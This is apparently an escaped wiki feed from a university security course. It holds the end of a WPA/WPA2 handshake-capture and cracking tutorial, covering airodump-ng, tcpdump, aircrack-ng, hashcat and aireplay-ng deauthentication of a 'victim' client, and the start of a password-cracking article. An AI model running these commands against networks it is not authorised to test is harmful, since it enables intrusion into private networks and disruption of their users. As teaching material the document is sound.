&amp;lt;td style=&amp;quot;background-color: white; border: none&amp;quot;&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airbase-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Aimed at attacking clients as opposed to the AP itself.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecap-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Decrypt WEP/WPA/WPA2 capture files.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdecloak-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Remove WEP CloakingTM from a packet capture file.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airdrop-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;A rule based wireless deauthication tool.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;aireplay-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Inject and replay wireless frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airgraph-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Graph wireless networks.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airmon-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Enable and disable monitor mode on wireless interfaces.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airodump-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Capture raw 802.11 frames.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airolib-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Precompute WPA/WPA2 passphrases.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airserv-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Wireless card TCP/IP server to use wit multiple applications.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;airtun-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Virtual tunnel interface creator.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: lightgrey; border-color: black&amp;quot;&amp;gt;packetforge-ng&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;td style=&amp;quot;background-color: white;border-color: black&amp;quot;&amp;gt;Create encrypted packets that can be used for injection.&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Put your interface in monitor mode ===&lt;br /&gt;
&lt;br /&gt;
* Use airmon-ng to put interface in monitor mode&lt;br /&gt;
 &lt;br /&gt;
   airmon-ng&lt;br /&gt;
      PHY	Interface	Driver		Chipset&lt;br /&gt;
      phy0	wlan0		iwlwifi		Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* First we need to set interface in monitor mode  `iw wlan0 del` and execute the command :&lt;br /&gt;
&lt;br /&gt;
   airmon-ng&lt;br /&gt;
   Found phy0 with no interfaces assigned, would you like to assign one to it? [y/n] y&lt;br /&gt;
      PHY	Interface	Driver		Chipset&lt;br /&gt;
      phy0	wlan0mon	iwlwifi		Intel Corporation Wireless 7260 (rev 83)&lt;br /&gt;
&lt;br /&gt;
* Kill all processes which use physical device&lt;br /&gt;
&lt;br /&gt;
   airmon-ng check kill&lt;br /&gt;
   Killing these processes:&lt;br /&gt;
      PID Name&lt;br /&gt;
      895 wpa_supplican&lt;br /&gt;
&lt;br /&gt;
* Start in monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng start wlan0mon 9&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
&lt;br /&gt;
* using wireshark or airodump-ng &lt;br /&gt;
  &lt;br /&gt;
   airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
* You will need:&lt;br /&gt;
** BSSID (MAC address of access point): &amp;lt;bssid&amp;gt;&lt;br /&gt;
** Access point channel: &amp;lt;channel&amp;gt;&lt;br /&gt;
** MAC address of a victim, wireless client using WPA2&lt;br /&gt;
&lt;br /&gt;
=== Capture handshake  ===&lt;br /&gt;
&lt;br /&gt;
* Get handshake or connected station&lt;br /&gt;
&lt;br /&gt;
   airodump-ng -c &amp;lt;channel&amp;gt; --bssid &amp;lt;bssid&amp;gt; -w psk wlan0mon&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack with aircrack-ng  ===&lt;br /&gt;
&lt;br /&gt;
* download a password list from somewhere https://github.com/danielmiessler/SecLists/blob/master/Passwords/ and issue following aircrack-ng command to crack the password&lt;br /&gt;
   &lt;br /&gt;
   aircrack-ng -w &amp;lt;passwordlist path&amp;gt; -b  &amp;lt;bssd&amp;gt; psk*.cap&lt;br /&gt;
&lt;br /&gt;
=== Reset network configuration ===&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Do not forget to turn off monitor mode and restart network manager&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Stop monitor mode&lt;br /&gt;
&lt;br /&gt;
   airmon-ng stop wlan0mon&lt;br /&gt;
&lt;br /&gt;
* Restart network manager for internet access&lt;br /&gt;
  &lt;br /&gt;
   service network-manager restart&lt;br /&gt;
&lt;br /&gt;
== Without aircrack-ng (on macOS) ==&lt;br /&gt;
&lt;br /&gt;
 airport -h&lt;br /&gt;
 Supported arguments:&lt;br /&gt;
  -c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;]    Set arbitrary channel on the card&lt;br /&gt;
  -z        --disassociate       Disassociate from any network&lt;br /&gt;
  -I        --getinfo            Print current wireless status, e.g. signal info, BSSID, port type etc.&lt;br /&gt;
  -s[&amp;lt;arg&amp;gt;] --scan=[&amp;lt;arg&amp;gt;]       Perform a wireless broadcast scan. &lt;br /&gt;
                                 Will perform a directed scan if the optional &amp;lt;arg&amp;gt; is provided&lt;br /&gt;
  -x        --xml                Print info as XML&lt;br /&gt;
  -P        --psk                Create PSK from specified pass phrase and SSID.&lt;br /&gt;
 				   The following additional arguments must be specified with this command:&lt;br /&gt;
                                   --password=&amp;lt;arg&amp;gt;  Specify a WPA password&lt;br /&gt;
                                   --ssid=&amp;lt;arg&amp;gt;      Specify SSID when creating a PSK&lt;br /&gt;
  -h        --help               Show this help&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt;, &amp;lt;i&amp;gt;airodump-ng&amp;lt;/i&amp;gt; and &amp;lt;i&amp;gt;aireplay-ng&amp;lt;/i&amp;gt; don&#039;t work on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; works exclusively on mac.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capture Beacon ===&lt;br /&gt;
 # Scan&lt;br /&gt;
 sudo airport -s&lt;br /&gt;
    SSID     BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)&lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -72  11      Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -57  1       Y  de WPA2     (PSK/AES/AES) &lt;br /&gt;
    ▊▊▊▊▊▊▊▊ 70:3a:cb:▊▊:▊▊:▊▊ -66  36      Y  de WPA2     (PSK/AES/AES)&lt;br /&gt;
&lt;br /&gt;
=== Capture Handshake ===&lt;br /&gt;
==== The Easy way ====&lt;br /&gt;
 # Sniff -  Ctrl-C to stop capturing&lt;br /&gt;
 sudo airport $INTERFACE sniff $CHANNEL&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: It saves the .cap capture file to /tmp and displays the path plus filename.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, you cannot be sure that a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]]!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== The Good way ====&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;By using &amp;lt;i&amp;gt;airmon-ng&amp;lt;/i&amp;gt; or &amp;lt;i&amp;gt;airport&amp;lt;/i&amp;gt; a large number of unnecessary packets are captured. Also, you cannot know for sure if a handshake has been intercepted until you manually abort the scan. This process can be improved with &amp;lt;i&amp;gt;tcpdump&amp;lt;/i&amp;gt;.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Disassociate from any network: (-z --disassociate)&lt;br /&gt;
 sudo airport -z&lt;br /&gt;
&lt;br /&gt;
* Set arbitrary channel on the card: (-c[&amp;lt;arg&amp;gt;] --channel=[&amp;lt;arg&amp;gt;])&lt;br /&gt;
 sudo airport -c&amp;lt;b&amp;gt;$CHANNEL&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Capture a beacon frame from the AP&lt;br /&gt;
 sudo tcpdump &amp;quot;type mgt subtype beacon and ether src &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -c 1 -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w beacon.cap&lt;br /&gt;
&lt;br /&gt;
* Wait for the WPA handshake&lt;br /&gt;
 sudo tcpdump &amp;quot;ether proto 0x888e and ether host &amp;lt;b&amp;gt;$BSSID&amp;lt;/b&amp;gt;&amp;quot; -I -c 4 -i &amp;lt;b&amp;gt;$INTERFACE&amp;lt;/b&amp;gt; -w handshake.cap&lt;br /&gt;
&lt;br /&gt;
* Merge the two files&lt;br /&gt;
 mergecap -a -F pcap -w capture.cap beacon.cap handshake.cap&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: With this method, tcpdump will make sure too wait until a four-way handshake was recorded. See [[#Deauthentication attack|deauthentication attack]] for more information! A beacon should however be captured quite fast.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Crack PSK ===&lt;br /&gt;
The .cap file obtained in the previous steps can only be cracked directly with &amp;lt;i&amp;gt;aircrack-ng&amp;lt;/i&amp;gt;. But this can be done more effectively using &amp;lt;i&amp;gt;hashcat&amp;lt;/i&amp;gt; (or John the Ripper).&lt;br /&gt;
&lt;br /&gt;
* Convert .cap to .hcapx file (Part of &amp;lt;i&amp;gt;hashcat-utils&amp;lt;/i&amp;gt;)&lt;br /&gt;
 cap2hccapx capture.cap capture.hccapx&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Alternatively, use the tool online: https://hashcat.net/cap2hccapx/&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Crack using a simple dictionary attack:&lt;br /&gt;
 hashcat -m 2500 capture.hccapx wordlist.txt&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Refer to the [https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 official Hashcat documentation] for more examples and variations to crack the PSK.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Deauthentication attack ==&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Use one of the methods below to force devices on the target network, if any, to de-authenticate. When re-authenticating, a four-way handshake is exchanged between the client and the AP, which can be captured easily. The deauthenticated target may only remark a short network disruption, but nothing more.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;background-color: #fcf8e3; border: 1px solid #8a6d3b; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Deauther are often mistakenly described as a jammer, even though that is not the case.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: A four-way handshake can be analysed with Wireshark, filtering for &amp;lt;i&amp;gt;eapol&amp;lt;/i&amp;gt; messages.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Aircrack-ng ===&lt;br /&gt;
 aireplay-ng -0 1 -a $BSSID -c $VICTIM_MAC wlan0mon&lt;br /&gt;
: -0 means deauthentication&lt;br /&gt;
: 1 number of deauthentication frames sent&lt;br /&gt;
: -a bssid mac address&lt;br /&gt;
: -c victim mac address to deauthenticate&lt;br /&gt;
&lt;br /&gt;
=== D-Stike Deauther ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;D-Stike provides a range of ESP8266 based development board, which come installed with the latest ESP8266 Deauther software developed by Spacehuhn. The source code is availabel on Github. With this software, you can perform different attacks to test WiFi networks. One of them is the deauthentication attack. &amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/spacehuhn/esp8266_deauther&lt;br /&gt;
&lt;br /&gt;
=== Other tools ===&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;JamWiFi is a Software with GUI, which allows you to select one or more nearby wireless networks, thereupon presenting a list of clients which are currently active on the network(s). Furthermore, JamWiFi allows you to disconnect clients by performing a deauthentication attack.&amp;lt;/p&amp;gt;&lt;br /&gt;
* https://github.com/unixpickle/JamWiFi&lt;br /&gt;
* https://github.com/0x0XDev/JamWiFi&lt;br /&gt;
&lt;br /&gt;
= Used Hardware =&lt;br /&gt;
&lt;br /&gt;
* Notebook, Ubuntu 18.04 bionic amd64, with Wifi interface card&lt;br /&gt;
* MacBook Pro (15-inch, 2017), macOS 10.14.6, Airport Extreme (Broadcom BCM43xx 1.0)&lt;br /&gt;
* [[DSTIKE Deauther Watch V1]]&lt;br /&gt;
&lt;br /&gt;
= Courses =&lt;br /&gt;
&lt;br /&gt;
* [[Campus Cyber Security Team]] WiFi Hacking 21.06.2019 &lt;br /&gt;
&lt;br /&gt;
= References =&lt;br /&gt;
&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa (Accessed 10. April 2020)&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php#aircrack-ng_suite1 (Accessed 10. April 2020)&lt;br /&gt;
* https://www.netspotapp.com/wifi-encryption-and-security.html (Accessed 10. April 2020)&lt;br /&gt;
* https://louisabraham.github.io/articles/WPA-wifi-cracking-MBP.html (Accessed 10. April 2020)&lt;br /&gt;
* http://www.saltwaterc.eu/capturing-wpa-handshakes-with-os-x.html (Accessed 10. April 2020)&lt;br /&gt;
* https://github.com/brannondorsey/wifi-cracking (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/cap2hccapx/ (Accessed 10. April 2020)&lt;br /&gt;
* https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2 (Accessed 10. April 2020)&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;/div&gt;</summary>
		<author><name>JPDoe</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Password_Cracking&amp;diff=4734</id>
		<title>Password Cracking</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Password_Cracking&amp;diff=4734"/>
		<updated>2020-11-08T16:26:33Z</updated>

		<summary type="html">&lt;p&gt;JPDoe: Minor fix&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;!--&lt;br /&gt;
TODO:&lt;br /&gt;
- Explain salt and pepper&lt;br /&gt;
- Improve hashcat section&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;max-width: 970px; text-align: justify&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This articles provides the required knowledge in the field of &amp;lt;i&amp;gt;key recovery&amp;lt;/i&amp;gt;. It gives the reader a brief [[#Introduction|introduction]] to password cracking in general. It also provides [[#Background|background]] information about common [[#Password Attacks|password attacks]], [[#Attack Modes|attack modes]] and cracking [[#Miscellaneous Tools|tools]]. The article goes into more detail about the popular tools [[#John the Ripper|John the Ripper]] and [[#Hashcat|Hashcat]]. Furthermore presenting a [[#Procedure|general guideline]] for offline password cracking. See also [[#Related|Related Articles]]. [[Acquisition and Cracking of macOS User Passwords]] or [[WPA/WPA2 PSK deauthentication attack]] may be used as an hands-on example.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Introduction&amp;lt;/h1&amp;gt;&lt;br /&gt;
Password cracking or Password recovery is used in IT-Security and Cryptanalysis to recover passwords or digital keys in general, which are the most critical part of a digital identity that is associated with a specific service. To acquire such digital keys, common Password Attacks are employed to infer the corresponding key. Other techniques, like social engineering or dumpster diving, are also possible in some scenarios. Keys are unspaced sets of characters that allow to authenticate against a given security mechanism in order to gain access to data, programs, or secured systems. However, these techniques could also be used to gain unauthorized access to a remote system.&lt;br /&gt;
&lt;br /&gt;
Once a key has been recovered, it can subsequently be used to undermine a digital authentication process, which provides privacy protection by mitigating risks of unauthorized access to individuals’ information. In other words, a key must be kept secret by a claimant, humanoid or not, while the verifier confirms the claimant’s identity. Additionally, choosing a strong password is crucial to prevent cracking and render recovery impossible. Furthermore, a Multi-factor (MFA) or Two-factor authentication (2FA) is recommended, since a claimant has to provide more factors to the verifier than just one key, which are something the claimant knows (knowledge), has (possession) or is (inherence), whereby a password recovery becomes pointless without knowing of the factors possession or inherence. [P1]&lt;br /&gt;
&lt;br /&gt;
It should be noted that keys can be available in various forms. On the one hand, clear-text passwords can be transmitted over the network or stored locally, which then only needs to be intercepted or found. On the other hand, passwords can also appear in encoded, hashed or obfuscated forms. The latter differs in that the obfuscated password is brought back to its original form with the appropriate reverse algorithm. In contrast, a hashed password benefits from the one-way properties of the algorithm used and can only be concluded by hashing guessed password repeatedly and comparing them to the target hash until the original password or any rare hash collision has been found. In the following, only hashed keys are treated.&lt;br /&gt;
&lt;br /&gt;
In order to be able to conclude on the original keys, high computing power is needed. Calculations can be done either by using CPUs with a small number of cores that have been developed for the sequential execution of processes. Alternatively, by using GPUs, which have a very high number of cores working in parallel, making them theoretically ideal for password cracking. The time to crack a password depends on its entropy, measured by the bit strength of a password and as well as the password length forming the target keyspace.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Background&amp;lt;/h1&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Password Attacks&amp;lt;/h2&amp;gt;&lt;br /&gt;
Password attacks can be performed in two ways. On the one hand, in the case of online attacks, designated system interfaces are used to try out passwords and, on the other hand, offline attacks in which hashed passwords were obtained via other channels and then processed locally at any time. Online attacks are much slower because the calculations are performed by the target, while the latency of the network link also plays an important role. Furthermore, such attacks could be detected and prevented by the attacked systems. Examples would be attacks on SSH or any web-based login form. On the other hand, offline attacks can no longer be detected after the hashes have been obtained and can be carried out highly effective since only hashes are calculated and compared here, but no further communication or processes between systems or the like are required.&lt;br /&gt;
&lt;br /&gt;
As it is common in most areas of life, there is not only black and white but also the grey zone in between. For this reason, it should be noted that there are also non-electronic attacks on passwords, such as dumpster diving or social engineering. But also more drastic but highly effective ways like Coercion by the government or Rubber-hose cryptanalysis (torture) can be taken, in which the human factor as the weakest link in the chain is attacked. This work is focused on offline attacks, and no human nor animal has been harmed during this work. See also [[Password Security]].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Attack Modes&amp;lt;/h2&amp;gt;&lt;br /&gt;
The following paragraphs present the most common modes used with password attacks.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Brute-force&amp;lt;/b&amp;gt; attacks try all possible passwords until the right one is found. Such password crackers generate and hash in the worst case every possible password in the keyspace, while none of these intermediate results are stored. Every hashed password is compared to the target hash on the fly until a match, and thus also a valid password has been found. This may be the original password or any rare hash collision. The success probability is given if the target password is in the known keyspace. However, for this attack, an extremely high computing power is needed to reach the target in a reasonable time.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Dictionary&amp;lt;/b&amp;gt; attacks are a special kind of a brute force attack where the keyspace is restricted by using a dictionary (aka. wordlist). These wordlists usually contain common passwords grouped by specific criteria, which are then processed by crackers in sequence. The advantage is that one can quickly cover the most common passwords, so that these kinds of attacks are very effective, as many users use common weak passwords which are easy to remember. This can easily be fought by using passwords without underlying semantics. The best-known wordlist is the rockyou.txt, which contains 32 million passwords. Its content originates from a data leak of the company RockYou from the year 2009, who stored their passwords in clear-text.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Rainbow&amp;lt;/b&amp;gt; attacks are just a more specialized form of dictionary attack, where pre-computed hashes are stored in so-called rainbow tables. This serves as a lookup table to invert a certain hash function. This variant results in a time-memory trade-off, where the process is faster since only comparison operations have to be performed, but this is only effective if the rainbow-table is stored in RAM, furthermore rainbow-tables take up more space on the hard disk than wordlists. The use of a key derivation function that uses a salt makes this attack infeasible.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Hybrid&amp;lt;/b&amp;gt; attacks combine brute force and dictionary attack by appending or prefixing each entry of a wordlist with all permutations of the brute force keyspace. It is a great method if the format of a password ist known. An example would be the use of the word ’password’ combined with all numbers from 0 to 9999. This is also very useful with usernames of com- panies using simple rules like an identifying string combined with an incrementing number. (e.g. Pass1234)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Rule-based&amp;lt;/b&amp;gt; attacks use methods to change passwords to cover all variants. It is a very flexible and efficient attack, but also very complicated to cover all desired cases. Ideal if the password requirements for a system are known, since passwords shall be easy to remember while being secure at the same time, many users use common passwords and modify them in a way that they match the password policy. (e.g. ’P@ssw0rD’)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Syllable&amp;lt;/b&amp;gt; attacks are again a combination of brute force and dictionary attack in which all permutations of each word within a wordlist are checked. This is used when the password is not a real word and is often better than pure brute-forcing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Other&amp;lt;/b&amp;gt; attacks, like Combinator, Fingerprint, Mask, Toggle-Case, Permutation, Table- Lookup, PRINCE may be similar to the ones noted above and shall be mentioned but are not covered in any detail here.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Wordlists&amp;lt;/h2&amp;gt;&lt;br /&gt;
Wordlist aka. dictionary attacks are often the first step to take when cracking passwords, since most users use common passswords or mutations of those. Besides the classic &amp;lt;code&amp;gt;rockyou.txt&amp;lt;/code&amp;gt;, there are tons of wordlists for different use cases. For this purpose [https://weakpass.com weakpass.com] may be used used, which offers a great collection. Based on GeForce GTX 1060 6GB benchmark and [https://www.netmux.com/ Hash Crack] by [https://twitter.com/netmux Netmux], the following table can be mostly been respected as general guideline to select worldlists for initial runs. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;card-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;table-container&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;table class=&amp;quot;wikitable&amp;quot; style=&amp;quot;background-color: white; margin-left: 0px; width: 100%&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Example Hashtype&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;Avg Speed&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;th&amp;gt;~10 min&amp;lt;/th&amp;gt;&lt;br /&gt;
